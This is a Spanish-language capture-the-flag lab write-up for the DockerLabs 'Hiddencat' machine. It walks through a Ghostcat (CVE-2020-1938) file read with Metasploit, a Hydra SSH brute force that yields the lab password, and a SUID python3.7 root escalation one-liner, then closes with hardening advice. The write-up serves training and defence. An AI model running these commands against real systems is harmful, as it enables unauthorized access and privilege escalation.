> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/hiddencat.md).

# Hiddencat

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux aprovechando la exposicion del conector AJP de Apache Tomcat y una mala configuracion de permisos SUID.

El objetivo es obtener informacion sensible mediante Ghostcat, conseguir acceso por SSH y escalar privilegios hasta `root`.

***

## Escaneo y enumeracion

Se comienza realizando un escaneo de versiones con Nmap sobre la maquina objetivo:

```bash
nmap -sV -p- -T4 172.17.0.2
```

![Nmap](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-33746deb63e8ae982308325264ee47db664bfb82%2F2026-05-05-18-32-18.png?alt=media)

El escaneo muestra tres puertos abiertos:

| Puerto   | Servicio | Version                   |
| -------- | -------- | ------------------------- |
| 22/tcp   | SSH      | OpenSSH 7.9p1 Debian      |
| 8009/tcp | AJP13    | Apache Jserv Protocol 1.3 |
| 8080/tcp | HTTP     | Apache Tomcat 9.0.30      |

La presencia de Tomcat `9.0.30` junto al puerto `8009` expuesto es interesante, ya que esta version puede ser vulnerable a Ghostcat, identificado como `CVE-2020-1938`.

***

## Enumeracion de Tomcat con Ghostcat

Ghostcat permite leer archivos internos de una aplicacion Tomcat a traves del conector AJP cuando este queda expuesto.

Se utiliza el modulo de Metasploit `auxiliary/admin/http/tomcat_ghostcat` para intentar leer el archivo `WEB-INF/web.xml`:

```bash
msfconsole
use auxiliary/admin/http/tomcat_ghostcat
show options
set RHOSTS 172.17.0.2
set RPORT 8009
set FILENAME /WEB-INF/web.xml
run
```

![Ghostcat web.xml](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-18f6361359c6c38fad4718c20257ab2b50ffb829%2F2026-05-05-21-23-27.png?alt=media)

El modulo consigue leer correctamente el archivo `web.xml`. Dentro aparece una descripcion con una pista:

```
Welcome to Tomcat, Jerry ;)
```

Esto apunta a `jerry` como posible usuario del sistema.

***

## Fuerza bruta SSH

Con el usuario candidato `jerry`, se realiza fuerza bruta contra SSH usando Hydra y el diccionario `rockyou.txt`:

```bash
hydra -l jerry -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh
```

![Hydra SSH](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-ff3159c970cadb391b54c8be0cf94b9185f14a90%2F2026-05-05-21-24-07.png?alt=media)

Hydra encuentra credenciales validas:

```
Usuario: jerry
Password: chocolate
```

***

## Acceso inicial por SSH

Con las credenciales obtenidas se accede a la maquina por SSH:

```bash
ssh jerry@172.17.0.2
```

![SSH jerry](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-d38cc451631e04ffd3313af87de9275bae880033%2F2026-05-05-21-24-59.png?alt=media)

Se obtiene una shell como el usuario `jerry`.

***

## Enumeracion local

Se comprueban los permisos sudo del usuario:

```bash
sudo -l
```

![Enumeracion local](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-4f010bf3ad8e4be0029f211171b517afec160c7b%2F2026-05-05-21-25-21.png?alt=media)

El usuario no puede ejecutar `sudo` en la maquina:

```
Sorry, user jerry may not run sudo
```

Despues se buscan binarios con el bit SUID activo:

```bash
find / -perm -4000 -type f 2>/dev/null
```

Entre los binarios encontrados destaca:

```
/usr/bin/python3.7
```

Que `python3.7` tenga SUID es critico, ya que permite ejecutar codigo Python con privilegios efectivos del propietario del binario. En este caso, el propietario es `root`.

***

## Escalada de privilegios

En GTFOBins se comprueba que Python puede abusarse cuando tiene el bit SUID activo.

![GTFOBins Python SUID](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-b9dc42ec522c07614bd0fc2bb179be22c690a1f5%2F2026-05-05-21-31-23.png?alt=media)

Se ejecuta el payload indicado, adaptandolo al binario vulnerable encontrado:

```bash
/usr/bin/python3.7 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
```

![Root](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-df4aa2af385b00d747cf406a3d8bc1c6ddf5cf7e%2F2026-05-05-21-30-22.png?alt=media)

El parametro `-p` en `/bin/sh` conserva los privilegios efectivos, por lo que se obtiene una shell con `euid=0`.

Se confirma la escalada:

```bash
id
```

Resultado:

```
uid=1000(jerry) gid=1000(jerry) euid=0(root) groups=1000(jerry)
```

Aunque el UID real sigue siendo el de `jerry`, el EUID es `root`, por lo que la shell tiene privilegios efectivos de administrador.

***

## Conclusion

El compromiso de la maquina ha sido posible por la combinacion de varios fallos:

* Puerto AJP `8009` expuesto
* Version de Tomcat vulnerable a Ghostcat
* Informacion sensible accesible en `WEB-INF/web.xml`
* Password debil para el usuario `jerry`
* Binario `python3.7` con bit SUID activo

### Puntos clave

| Fase               | Tecnica                | Resultado                    |
| ------------------ | ---------------------- | ---------------------------- |
| Reconocimiento     | Nmap                   | SSH, AJP y Tomcat expuestos  |
| Enumeracion Tomcat | Ghostcat CVE-2020-1938 | Lectura de `WEB-INF/web.xml` |
| Credenciales       | Pista `Jerry` + Hydra  | Password `chocolate`         |
| Acceso inicial     | SSH                    | Shell como `jerry`           |
| Escalada           | SUID en `python3.7`    | Shell con EUID `root`        |

### Recomendaciones

* No exponer el conector AJP a redes no confiables
* Actualizar Tomcat a una version corregida frente a `CVE-2020-1938`
* Restringir AJP con secretos y reglas de firewall
* Evitar pistas o informacion sensible en archivos de configuracion accesibles
* Usar passwords robustas y controles contra fuerza bruta en SSH
* Revisar periodicamente binarios SUID y eliminar permisos innecesarios
